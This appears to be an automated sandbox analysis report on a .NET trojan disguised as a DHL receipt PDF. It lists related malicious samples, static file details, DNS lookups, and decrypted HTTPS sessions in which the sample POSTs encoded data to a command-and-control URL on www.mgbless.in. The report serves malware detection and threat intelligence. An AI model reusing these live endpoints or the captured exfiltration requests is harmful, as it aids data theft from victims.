	TnUFqujldH.exe	Get hash	malicious	Browse	nofearsw.in/swo/inc/11828554f46a7d.php
	20210711494754.vbs	Get hash	malicious	Browse	nofearsw.in/fen/inc/9fa099d0b6dea5.php
	msg001.vbs	Get hash	malicious	Browse	nofearsw.in/swo/inc/11828554f46a7d.php
	Chuyen giao,pdf.vbs	Get hash	malicious	Browse	nofearsw.in/swo/inc/11828554f46a7d.php
	Dekont.vbs	Get hash	malicious	Browse	nofearsw.in/swo/inc/11828554f46a7d.php
	3Bws6ne7Ye.exe	Get hash	malicious	Browse	jlpack.email/file/Panel/five/fre.php
	filDHjBKef.exe	Get hash	malicious	Browse	jlpack.email/grace/Panel/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ASN-QUADRANET-GLOBALUS	Waldo Orden de Compra -SA112421,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	NEW PURCHASE ORDER,PDF.EXE	Get hash	malicious	Browse	104.223.93.105
	Bestellung -SA95648,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	K7hNSg5hRL.exe	Get hash	malicious	Browse	185.121.152.212
	jwviEiXH9l	Get hash	malicious	Browse	45.199.228.229
	6PZ6S2YGPB	Get hash	malicious	Browse	45.199.228.221
	DHLEXpress is sending Pre-Alert1.exe	Get hash	malicious	Browse	104.223.93.105
	Shipment_21HT42223.exe	Get hash	malicious	Browse	192.161.187.200
	Nueva orden de compra,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	1E2503A0E84D330CB00DC6C883A889856DD3F4D849295.exe	Get hash	malicious	Browse	192.161.187.200
	Orden de Compra -SA95680.pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL_119040 #U0930#U0938#U0940#U0926 #U0926#U0938#U094d#U0924#U093e#U0935#U0947#U091c,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL_119040 kvittodokument,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL Receipt Document,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL_1190323 receipt document,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	Orden de Compra -SA95647, pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL_119040 kvittodokument,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	DHL_119040 receipt document,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	Beckhoff Inkooporder -SA95648,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	Tax payment invoice - Monday, November 22, 2021,pdf.exe	Get hash	malicious	Browse	104.223.93.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ORDER #63457-BLS.exe	Get hash	malicious	Browse	104.223.93.105
	TmVqivwYxc.exe	Get hash	malicious	Browse	104.223.93.105
	g3g1VECs9K.exe	Get hash	malicious	Browse	104.223.93.105
	SecuriteInfo.com.ArtemisEC35A67F3663.5978.exe	Get hash	malicious	Browse	104.223.93.105
	Purchase Order.exe	Get hash	malicious	Browse	104.223.93.105
	Waldo Orden de Compra -SA112421,pdf.exe	Get hash	malicious	Browse	104.223.93.105
	PROPOSAL CATALOG.exe	Get hash	malicious	Browse	104.223.93.105
	FedEx Shipment Notification - Air WayBill FED1007990_A10792.exe	Get hash	malicious	Browse	104.223.93.105
	LNdP6FAphu.exe	Get hash	malicious	Browse	104.223.93.105
	Zkb2VENJ38.exe	Get hash	malicious	Browse	104.223.93.105
	ORDER 759325.exe	Get hash	malicious	Browse	104.223.93.105
	pH7pQDWJPP.exe	Get hash	malicious	Browse	104.223.93.105
	oZPv3ngzrx.exe	Get hash	malicious	Browse	104.223.93.105
	a.dll	Get hash	malicious	Browse	104.223.93.105
	NEW PURCHASE ORDER,PDF.EXE	Get hash	malicious	Browse	104.223.93.105
	qG92QcOmb4.exe	Get hash	malicious	Browse	104.223.93.105
	CheatValorant2.2.exe	Get hash	malicious	Browse	104.223.93.105
	New Order.exe	Get hash	malicious	Browse	104.223.93.105
	gm8n7Rb1Jm.exe	Get hash	malicious	Browse	104.223.93.105
	Notificacion Juristas Y Asociados S A..exe	Get hash	malicious	Browse	104.223.93.105

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL_119040 ontvangstbewijs,pdf.exe.log Download File
Process:	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2239
Entropy (8bit):	5.354287817410997
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIW7HKjntHoxHhAHKzvr1qHXHK2HKgmHKovjHKs:iqXeqm00YqhQnouRqjntIxHeqzTw3q2W
MD5:	913D1EEA179415C6D08FB255AE42B99D
SHA1:	E994C612C0596994AAE55FBCE35B7A4FBE312FD7
SHA-256:	473B4000084ACF4C7D701CE72EBF71BD304054231B3BDF7CAF49898A1FDA13D0
SHA-512:	768045C288CEEE8FE1A099FC8CEA713B685F6ED3FD8BFA1C8E64CA09F7AF9FEBEA90F5277B28444AFF8F2AC7CD857DFCDF7D3A98CD86288925DB7A4A42346185
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.4917987511696795
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	DHL_119040 ontvangstbewijs,pdf.exe
File size:	687616
MD5:	a9b63c434e205092b3373e35c051a04a
SHA1:	1b8d4e51f63e23b881159d168b5c0e70012c7e6c
SHA256:	3905a71c3e23f4845d1201f74ac1c9c041b0254ff486a3ea4fc2bb7119631ce9
SHA512:	cd79fa44a5fdbf9b2c1d7e3d37d4b7236fb01515968d2474fc1936feb9987a50fd884b48762f222b6b079dfa1094e9f0c85149bb11ede086e1ddf4668584eb59
SSDEEP:	12288:UxRhb0PixBFmEkNkyqTDfVRehcS/MjMm/NrGa3zC+NHisv3ez0i:Uxrb0Pi1KNOTDfGc2+/VDNY
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....A.a..............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	f0f8f8d0dcf8e2de

Static PE Info

General
Entrypoint:	0x47bbbe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x619F4116 [Thu Nov 25 07:53:58 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [ebp+0800000Eh], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7bb6c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x2dde0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x79bd4	0x79c00	False	0.897364684933	data	7.8827247031	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x7c000	0x2dde0	0x2de00	False	0.355899821185	data	5.72844498197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaa000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x7c2b0	0x5dbc	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x8206c	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0x92894	0x94a8	data
RT_ICON	0x9bd3c	0x5488	data
RT_ICON	0xa11c4	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 254, next used block 2130706432
RT_ICON	0xa53ec	0x25a8	data
RT_ICON	0xa7994	0x10a8	data
RT_ICON	0xa8a3c	0x988	data
RT_ICON	0xa93c4	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xa982c	0x84	data
RT_VERSION	0xa98b0	0x344	data
RT_MANIFEST	0xa9bf4	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Rogers Peet
Assembly Version	8.0.6.0
InternalName	IsJitIntrins.exe
FileVersion	5.6.0.0
CompanyName	Rogers Peet
LegalTrademarks
Comments
ProductName	Biblan
ProductVersion	5.6.0.0
FileDescription	Biblan
OriginalFilename	IsJitIntrins.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 11:37:41.246987104 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.247031927 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:41.247118950 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.275937080 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.275964022 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:41.542495966 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:41.542597055 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.547097921 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.547120094 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:41.547430038 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:41.587377071 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.915136099 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:41.956881046 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:42.047307014 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:42.048023939 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:42.048060894 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:42.500540018 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:42.525439978 CET	443	49747	104.223.93.105	192.168.2.3
Nov 25, 2021 11:37:42.525577068 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:37:42.527692080 CET	49747	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:42.831408024 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:42.831454992 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:42.832500935 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:42.833035946 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:42.833064079 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.098479033 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.139399052 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:43.187263012 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:43.187300920 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.355566978 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.356745958 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:43.356787920 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.784686089 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.812783003 CET	443	49819	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:43.812917948 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:43.813591003 CET	49819	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.141171932 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.141217947 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.141346931 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.141766071 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.141783953 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.389071941 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.393414974 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.393449068 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.643780947 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.644398928 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:56.644427061 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:56.995098114 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:57.015686035 CET	443	49822	104.223.93.105	192.168.2.3
Nov 25, 2021 11:38:57.015961885 CET	49822	443	192.168.2.3	104.223.93.105
Nov 25, 2021 11:38:57.017235041 CET	49822	443	192.168.2.3	104.223.93.105

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 11:37:40.972887993 CET	52806	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:37:41.123454094 CET	53	52806	8.8.8.8	192.168.2.3
Nov 25, 2021 11:37:41.190479040 CET	53910	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:37:41.231338024 CET	53	53910	8.8.8.8	192.168.2.3
Nov 25, 2021 11:38:42.598434925 CET	53777	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:38:42.753036022 CET	53	53777	8.8.8.8	192.168.2.3
Nov 25, 2021 11:38:42.791912079 CET	57106	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:38:42.829755068 CET	53	57106	8.8.8.8	192.168.2.3
Nov 25, 2021 11:38:55.962332010 CET	60982	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:38:56.100920916 CET	53	60982	8.8.8.8	192.168.2.3
Nov 25, 2021 11:38:56.107340097 CET	58058	53	192.168.2.3	8.8.8.8
Nov 25, 2021 11:38:56.139935970 CET	53	58058	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 25, 2021 11:37:40.972887993 CET	192.168.2.3	8.8.8.8	0xe1d	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)
Nov 25, 2021 11:37:41.190479040 CET	192.168.2.3	8.8.8.8	0xcbf0	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:42.598434925 CET	192.168.2.3	8.8.8.8	0xa932	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:42.791912079 CET	192.168.2.3	8.8.8.8	0x55ca	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:55.962332010 CET	192.168.2.3	8.8.8.8	0x4e9	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:56.107340097 CET	192.168.2.3	8.8.8.8	0x543d	Standard query (0)	www.mgbless.in	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 25, 2021 11:37:41.123454094 CET	8.8.8.8	192.168.2.3	0xe1d	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:37:41.123454094 CET	8.8.8.8	192.168.2.3	0xe1d	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)
Nov 25, 2021 11:37:41.231338024 CET	8.8.8.8	192.168.2.3	0xcbf0	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:37:41.231338024 CET	8.8.8.8	192.168.2.3	0xcbf0	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:42.753036022 CET	8.8.8.8	192.168.2.3	0xa932	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:38:42.753036022 CET	8.8.8.8	192.168.2.3	0xa932	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:42.829755068 CET	8.8.8.8	192.168.2.3	0x55ca	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:38:42.829755068 CET	8.8.8.8	192.168.2.3	0x55ca	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:56.100920916 CET	8.8.8.8	192.168.2.3	0x4e9	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:38:56.100920916 CET	8.8.8.8	192.168.2.3	0x4e9	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)
Nov 25, 2021 11:38:56.139935970 CET	8.8.8.8	192.168.2.3	0x543d	No error (0)	www.mgbless.in	mgbless.in		CNAME (Canonical name)	IN (0x0001)
Nov 25, 2021 11:38:56.139935970 CET	8.8.8.8	192.168.2.3	0x543d	No error (0)	mgbless.in		104.223.93.105	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.mgbless.in

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49747	104.223.93.105	443	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Timestamp	Direction	Data
2021-11-25 10:37:41 UTC	OUT	POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: www.mgbless.in Content-Length: 368 Expect: 100-continue Connection: Keep-Alive
2021-11-25 10:37:42 UTC	IN	HTTP/1.1 100 Continue
2021-11-25 10:37:42 UTC	OUT	Data Raw: 70 3d 5a 47 36 55 79 69 79 41 68 64 31 47 51 6d 33 56 64 69 4f 46 4a 4c 55 33 74 59 51 4c 31 59 49 58 4b 66 78 61 49 68 6b 4d 63 54 52 49 71 49 4f 62 35 37 62 67 42 51 48 77 33 7a 52 39 6f 73 39 74 63 71 4f 34 36 57 7a 38 38 44 25 32 42 30 38 25 32 42 73 62 73 30 6a 75 25 32 42 77 42 65 30 76 66 62 54 46 32 65 7a 59 66 37 4b 44 31 61 56 6d 31 68 25 32 42 45 7a 46 68 6a 47 77 45 7a 44 67 37 71 79 44 41 6a 4e 77 25 32 42 30 6d 4e 59 4a 71 46 59 51 4d 59 46 68 47 4d 4a 52 63 4e 42 31 36 65 4d 45 2f 79 6f 76 67 37 50 78 49 37 63 4f 25 32 42 48 73 6d 71 78 76 61 30 53 38 37 7a 6c 41 39 45 6f 25 32 42 4b 35 33 74 35 6c 43 6a 63 37 6b 43 73 39 72 65 76 64 75 4c 4f 6c 59 45 57 6c 37 67 59 51 79 71 46 57 54 35 65 47 75 52 61 39 58 68 55 44 4c 51 58 75 36 76 4c 73 Data Ascii: p=ZG6UyiyAhd1GQm3VdiOFJLU3tYQL1YIXKfxaIhkMcTRIqIOb57bgBQHw3zR9os9tcqO46Wz88D%2B08%2Bsbs0ju%2BwBe0vfbTF2ezYf7KD1aVm1h%2BEzFhjGwEzDg7qyDAjNw%2B0mNYJqFYQMYFhGMJRcNB16eME/yovg7PxI7cO%2BHsmqxva0S87zlA9Eo%2BK53t5lCjc7kCs9revduLOlYEWl7gYQyqFWT5eGuRa9XhUDLQXu6vLs
2021-11-25 10:37:42 UTC	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 10:37:41 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2021-11-25 10:37:42 UTC	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49819	104.223.93.105	443	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-25 10:38:43 UTC	0	OUT	POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: www.mgbless.in Content-Length: 370 Expect: 100-continue
2021-11-25 10:38:43 UTC	1	IN	HTTP/1.1 100 Continue
2021-11-25 10:38:43 UTC	1	OUT	Data Raw: 70 3d 6e 39 79 71 75 57 71 74 53 67 4a 47 51 6d 33 56 64 69 4f 46 4a 4c 55 33 74 59 51 4c 31 59 49 58 4b 66 78 61 49 68 6b 4d 63 54 52 49 71 49 4f 62 35 37 62 67 42 51 48 77 33 7a 52 39 6f 73 39 74 63 71 4f 34 36 57 7a 38 38 44 25 32 42 30 38 25 32 42 73 62 73 30 6a 75 25 32 42 77 42 65 30 76 66 62 54 46 32 65 7a 59 66 37 4b 44 31 61 56 6d 31 68 25 32 42 45 7a 46 68 6a 47 77 45 7a 44 67 37 71 79 44 41 6a 4e 77 25 32 42 30 6d 4e 59 4a 71 46 59 51 4d 59 46 68 47 4d 4a 52 63 4e 42 31 36 65 4d 45 2f 79 6f 76 67 37 50 78 49 37 63 4f 25 32 42 48 73 6d 71 78 76 61 30 53 38 37 7a 6c 41 39 45 6f 25 32 42 4b 35 33 74 35 6c 43 33 53 50 66 63 49 6b 64 78 78 39 4d 33 48 4a 71 76 6d 25 32 42 4b 43 6f 51 79 71 46 57 54 35 65 47 75 52 61 39 58 68 55 44 4c 51 58 75 36 76 Data Ascii: p=n9yquWqtSgJGQm3VdiOFJLU3tYQL1YIXKfxaIhkMcTRIqIOb57bgBQHw3zR9os9tcqO46Wz88D%2B08%2Bsbs0ju%2BwBe0vfbTF2ezYf7KD1aVm1h%2BEzFhjGwEzDg7qyDAjNw%2B0mNYJqFYQMYFhGMJRcNB16eME/yovg7PxI7cO%2BHsmqxva0S87zlA9Eo%2BK53t5lC3SPfcIkdxx9M3HJqvm%2BKCoQyqFWT5eGuRa9XhUDLQXu6v
2021-11-25 10:38:43 UTC	1	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 10:38:42 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2021-11-25 10:38:43 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49822	104.223.93.105	443	C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-25 10:38:56 UTC	1	OUT	POST /mac/inc/0bb73b6c7ade1a.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: www.mgbless.in Content-Length: 380 Expect: 100-continue
2021-11-25 10:38:56 UTC	1	IN	HTTP/1.1 100 Continue
2021-11-25 10:38:56 UTC	1	OUT	Data Raw: 70 3d 69 48 6a 63 79 44 6c 45 77 66 35 47 51 6d 33 56 64 69 4f 46 4a 4c 55 33 74 59 51 4c 31 59 49 58 4b 66 78 61 49 68 6b 4d 63 54 52 49 71 49 4f 62 35 37 62 67 42 51 48 77 33 7a 52 39 6f 73 39 74 63 71 4f 34 36 57 7a 38 38 44 25 32 42 30 38 25 32 42 73 62 73 30 6a 75 25 32 42 77 42 65 30 76 66 62 54 46 32 65 7a 59 66 37 4b 44 31 61 56 6d 31 68 25 32 42 45 7a 46 68 6a 47 77 45 7a 44 67 37 71 79 44 41 6a 4e 77 25 32 42 30 6d 4e 59 4a 71 46 59 51 4d 59 46 68 47 4d 4a 52 63 4e 42 31 36 65 4d 45 2f 79 6f 76 67 37 50 78 49 37 63 4f 25 32 42 48 73 6d 71 78 76 61 30 53 38 37 7a 6c 41 39 45 6f 25 32 42 4b 35 33 74 35 6c 43 70 39 72 4d 6b 66 55 2f 52 52 54 50 50 74 69 42 56 31 7a 4d 4e 59 51 79 71 46 57 54 35 65 47 75 52 61 39 58 68 55 44 4c 51 58 75 36 76 4c 73 Data Ascii: 